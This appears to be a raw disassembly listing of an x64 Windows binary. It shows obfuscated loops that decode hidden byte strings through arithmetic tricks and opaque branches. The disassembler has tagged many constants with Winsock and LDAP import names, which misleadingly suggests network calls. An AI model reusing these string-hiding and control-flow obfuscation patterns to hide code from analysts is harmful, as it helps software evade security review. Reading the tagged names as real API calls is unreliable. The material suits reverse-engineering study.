movzx eax, byte [rbp + rdi + 0x998]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b662
movabs rcx, 0x95c66b8b4f99ac8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x78
mov byte [rbp + rdi + 0x998], r10b
inc rdi
jmp 0x14009b662
movabs rdx, 0x52605e5ba2d6dc98
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x28
add r10b, dl
cmp r9, 9
jb 0x14009ba64
movabs rdx, 0x7435aa8a9cebe390
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14009c060
movabs rdx, 0xe4684da17e916038
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
lea rax, [r8 + r9]
cmp rax, 0x41
je 0x14009bf4e
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x14009bdc1
movabs rdx, 0x4d06ff16a923a8b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 8
add r10b, dl
cmp r8, 3
jae 0x14009bf25
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14009be83
movabs rdx, 0x4e5d56e7e79075b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14009ba93
movabs rdx, 0x8060ee7768ccdd0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + rdi + 0x998]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b662
movabs rcx, 0x510a068a646a0fa0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
jmp 0x14009c193
movabs rdx, 0xe311f5d040249340
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b662
movabs rcx, 0x2c15ed732e01d510
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x70
jmp 0x14009c127
movabs rdx, 0x7519e5161bdf16e0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x20
jmp 0x14009c0d8
movabs rcx, 0x721d45bf7999a80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x14009b662
movabs rdx, 0x5025cbfee576dc50
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x30
jmp 0x14009c05d
lea rax, [r9 + 2]
cmp r8, rax
jae 0x14009bcc3
movabs rdx, 0xdb7e042e89115f18
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009bae7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009bd09
movabs rdx, 0x2acafa27cd999f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + rdi + 0x998]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b662
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009bd3e
movabs rdx, 0xde9cd116c56492b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14009c127
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009bd5a
movabs rdx, 0x9598d973d78750e0
jmp 0x14009bc24
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009bd90
movabs rcx, 0x4c94e1d0e9aa0f10
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x70
dec rdi
inc rdi
jmp 0x14009b662
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009bae7
movabs rdx, 0xba8cf28b0def8b70
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x10
jmp 0x14009c05d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009bdf2
movabs rdx, 0x4030773bb4666e8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x58
jmp 0x14009c05d
inc rax
cmp r8, rax
jne 0x14009be26
movabs rdx, 0xdff328e803d15fa8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14009c127
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009be5a
movabs rdx, 0x4deb39a22816dc08
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x38
add r10b, dl
jmp 0x14009c162
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14009bb24
movabs rdx, 0xbbe34a5c4c5c5868
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14009c1f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009bec4
movabs rcx, 0x5595f44f9b333e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x20
movzx eax, byte [rbp + rdi + 0x998]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b662
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009bee5
movabs rdx, 0x73516fff1df8b040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14009c14e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009ba96
movabs rcx, 0x2a4d785c301b6e70
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b662
movabs rdx, 0x2b31b2e7af0ea1c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, byte [rbp + rdi + 0x998]
sub r10b, al
sub r10b, 0x40
jmp 0x14009c0d5
movabs rdx, 0xe22dbb44c1315ff0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rdi + 0x998]
add r10b, bl
add r10b, dl
jmp 0x14009c162
movabs rdx, 0x7032a316e1a57ca8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + rdi + 0x998]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b662
movabs rcx, 0x944281a2991a83e8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x58
jmp 0x14009c127
movabs rdx, 0x264a70e874d50788
mov ecx, 0x24
jmp 0x14009c099
movabs rcx, 0x6f4e688b62b24958
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x68
inc r9
dec rdi
inc rdi
jmp 0x14009b662
movabs rdx, 0xb852602e508f8b28
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x18
jmp 0x14009c05d
movabs rdx, 0x4a5a4f742c4a0ec8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x78
add r10b, dl
movabs rdx, 0x4fb3aeb925fd42a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x998], cl
inc r9
dec rdi
inc rdi
jmp 0x14009b662
mov ecx, reloc.WS2_32.dll_sendto
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec rdi
inc rdi
jmp 0x14009b662
movabs rdx, 0x2566365cf5e1d438
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movabs rdx, 0x6afb716382000d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x998], cl
jmp 0x14009c127
movabs rcx, 0x6e6a2dffe3bf1608
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x38
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b662
movabs rdx, 0x721d45bf7999a8
mov ecx, 0x34
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movabs rdx, 0xbdabbf734a42bf08
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x38
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x998], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x9929c3a1d3541e20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x998], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x998]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b662
movabs rdx, 0x927a0c8b9b341d48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0x998]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b662
movabs rcx, 0x8782c2d36066778
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x48
jmp 0x14009b65e
movabs rdx, 0x517c23d023e3a948
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009b64c
lea rcx, [rbp + 0x16bedb8]
jmp 0x14009c27e
lea rcx, [rbp + 0x13d4cd0]
jmp 0x14009c27e
lea rcx, [rbp + 0x998]
mov rdx, rsi
call fcn.140035c60
test al, al
je 0x14009c2dc
lea rdx, [0x140227fa0]
lea rcx, [rbp + 0x258]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xe8]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006bc00
movzx ecx, byte [rax]
mov byte [0x140229d6b], cl
lea rdx, [0x140227e60]
lea rcx, [rbp + 0x278]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x78]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006bc00
mov rsi, rax
mov byte [rbp + 0xd58], Ordinal_60
mov byte [rbp + 0xd59], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xd5a], Ordinal_200
mov byte [rbp + 0xd5b], Ordinal_217
mov byte [rbp + 0xd5c], Ordinal_211
mov byte [rbp + 0xd5d], 0xdc
mov byte [rbp + 0xd5e], 0xc1
mov byte [rbp + 0xd5f], Ordinal_200
mov byte [rbp + 0xd60], Ordinal_200
mov byte [rbp + 0xd61], Ordinal_200
mov byte [rbp + 0xd62], Ordinal_211
mov byte [rbp + 0xd63], 0x7b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd64], xmm0
mov dword [rbp + 0xd74], eax
mov word [rbp + 0xd78], ax
mov byte [rbp + 0xd7a], al
movabs r14, 0xd06ce102721acece
movabs r15, 0x18ee75335c32f6e6
movabs r12, 0xe96aa84a2c230ea2
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14009ce34
movzx r11d, byte [rbp + rdi + 0xd58]
mov rbx, r11
nop dword [rax + rax]
cmp r8, rdi
ja 0x14009ce28
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009c423
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x5e
jmp 0x14009c45c
je 0x14009cd95
inc rax
cmp r8, rax
je 0x14009cd26
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009cccc
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009cca1
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009cc50
nop dword [rax]
cmp r9, rdi
ja 0x14009ce1c
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14009c498
lea rcx, [rdi + r15]
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4a
add r10b, cl
jmp 0x14009c4e6
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009cc27
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009cbfc
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009cb9b
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009cb62
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009cb3e
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009cb04
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14009c814
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14009c7eb
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14009c7b9
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009c78e
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14009c755
lea r8, [r9 + 2]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14009cdf3
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14009cdce
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14009c5c8
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14009c68d
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14009c658
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14009c634
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14009c60b
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14009c5e7
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 8]
jmp 0x14009c500
lea rdx, [rdi + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6e
add r10b, dl
jmp 0x14009c3e5
movabs rcx, 0xc773a99ae197b730
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x14009cc6f
movabs rdx, 0x2591d7d88560588
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009cced
movabs rcx, 0x617f5b78a42067ec
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
jmp 0x14009cd4c
movabs rcx, 0xc0a59973bfeaca50
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
movzx eax, byte [rbp + rdi + 0xd58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009c3d2
movabs rcx, 0xcbf7ee58d8c3e776
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r11b
lea rax, [r9 + r8]
cmp rax, 3
je 0x14009cad4
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x14009c937
movabs rdx, 0xa9f19d9530634716
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
cmp r8, 0x20
jae 0x14009caa3
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x14009ca17
movabs rdx, 0xc2e012c88c963dfc
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
cmp r9, 0x400
jb 0x14009ca90
movabs rcx, 0xb61a6f976ae6614
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x18]
jmp 0x14009cc6f
movabs rdx, 0xb30979257c90f090
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009c3d2
movabs rcx, 0xd07c3316cff017bc
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x24
dec rdi
inc rdi
jmp 0x14009c3d2
movabs rdx, 0x2fa27111ebba7a20
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rdi
inc rdi
jmp 0x14009c3d2
movabs rdx, 0x8ec8af0d0784dc84
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009cc6f
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x14009c83e
lea rdx, [rdi + r14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
jmp 0x14009c6aa
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009c885
movabs rdx, 0x31dcea66b865edcc
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0xd58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009c3d2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009c8c7
movabs rcx, 0x146a30756506c6a0
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009c3d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009c8fd
movabs rdx, 0xb543f27a493c643c
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009cbe4
movzx ecx, r10b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009c6aa
movabs rdx, 0x38aafa8dda12daac
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009cc6f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009c96d
movabs rdx, 0x4acb5f9a1498e4b2
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009cc6f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009c9af
movabs rcx, 0x6f0c29b289a4f8be
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x32
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009c3d2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009c9e4
movabs rdx, 0xfe5ebb76dda965a
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x76
add r10b, dl
jmp 0x14009cced
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009c6e6
movabs rdx, 0xb0bfadbc521033f6
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009cd49
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009ca5a
movabs rcx, 0x63b9d4cd70cbdb98
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x28
movzx eax, byte [rbp + rdi + 0xd58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009c3d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009c721
movabs rdx, 0xa56d58d7393716d0
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009cced
mov byte [rbp + rdi + 0xd58], cl
movzx r10d, cl
inc rdi
jmp 0x14009c3d2
movabs rdx, 0xac3b68fe5ae403b0
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rdi + 0xd58]
add r10b, r11b
add r10b, dl
jmp 0x14009cbba
movabs rdx, 0x4d152b033f19a14c
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rdi + 0xd58]
sub r10b, 0x14
add r10b, dl
jmp 0x14009cced
movabs rdx, 0xc096475f62158162
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0xd58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009c3d2
movabs rcx, 0x7ee2c35599aa462a
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
jmp 0x14009cced
movabs rdx, 0xde090150b574a88e
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009c3d2
movabs rcx, 0x9c557d46ed096d56
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
movabs rdx, 0x7ca84a00ccfed27e
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x72
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xd58], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009c3d2
movabs rcx, 0xfb7bbb4208d3cfba
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x16
dec rdi
inc rdi
jmp 0x14009c3d2
movabs rdx, 0xb9c8373840689482
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009cc6f
movabs rcx, 0x7814b32e77fd594a
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
movabs rcx, 0xdbce87fbe8c934e2
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x2e
add cl, r11b
mov byte [rbp + rdi + 0xd58], cl
inc r9
dec rdi
inc rdi
jmp 0x14009c3d2
movabs rcx, 0x36612f24af921e12
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7e
dec rdi
inc rdi
jmp 0x14009c3d2
mov r11, rbx
movabs rcx, 0xb2fa27111ebba7a2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6e
movabs rdx, 0x1d820c05b134701a
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xd58], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14009cd4c
movabs rdx, 0x1220650c3a860a06
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x2a
movzx r11d, bl
add r10b, dl
movabs rcx, 0xedeeed08234f3ee8
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x58
add r11b, cl
mov byte [rbp + rdi + 0xd58], r11b
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xd58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009c3d2
movabs rdx, 0x7146a30756506c6a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0xd58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009c3d2
movabs rcx, 0x4890e64547ed7106
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2a
jmp 0x14009c3d0
movabs rdx, 0xa7b7244063b7d36a
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009c3c0
lea rcx, [rbp + 0x142ffc0]
jmp 0x14009ce3b
lea rcx, [rbp + 0x9dce8e]
jmp 0x14009ce3b
lea rcx, [rbp + 0xd58]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x140227e80]
lea rcx, [rbp + 0x298]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xb8]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006bc00
mov rdi, rax
mov byte [rbp + 0x9c0], 0xc0
mov byte [rbp + 0x9c1], WSAGetLastError
mov byte [rbp + 0x9c2], WSASetLastError
mov byte [rbp + 0x9c3], 0x9b
mov byte [rbp + 0x9c4], 0xbf
mov byte [rbp + 0x9c5], WSASetLastError
mov byte [rbp + 0x9c6], WSASetLastError
mov byte [rbp + 0x9c7], 0x61
mov byte [rbp + 0x9c8], WSASetLastError
mov byte [rbp + 0x9c9], 0x56
mov byte [rbp + 0x9ca], 0x62
mov byte [rbp + 0x9cb], 0xf3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9cc], xmm0
mov dword [rbp + 0x9dc], eax
mov word [rbp + 0x9e0], ax
mov byte [rbp + 0x9e2], al
movabs rsi, 0x5d8460de9ab99fab
movabs r12, 0x722ae00a99a750bf
movabs r14, 0xfd47a5c16dd8d7b5
movabs r15, 0x18f1e5ac3a8a3637
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009dde4
movzx r11d, byte [rbp + rbx + 0x9c0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009ddd8
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14009cf93
lea rcx, [rbx + r12]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x39
jmp 0x14009cfe0
je 0x14009dd50
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009dcb5
lea rax, [rcx + 1]
cmp r8, rax
je 0x14009dc83
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009dc4b
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009dbed
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009dbc3
nop word [rax + rax]
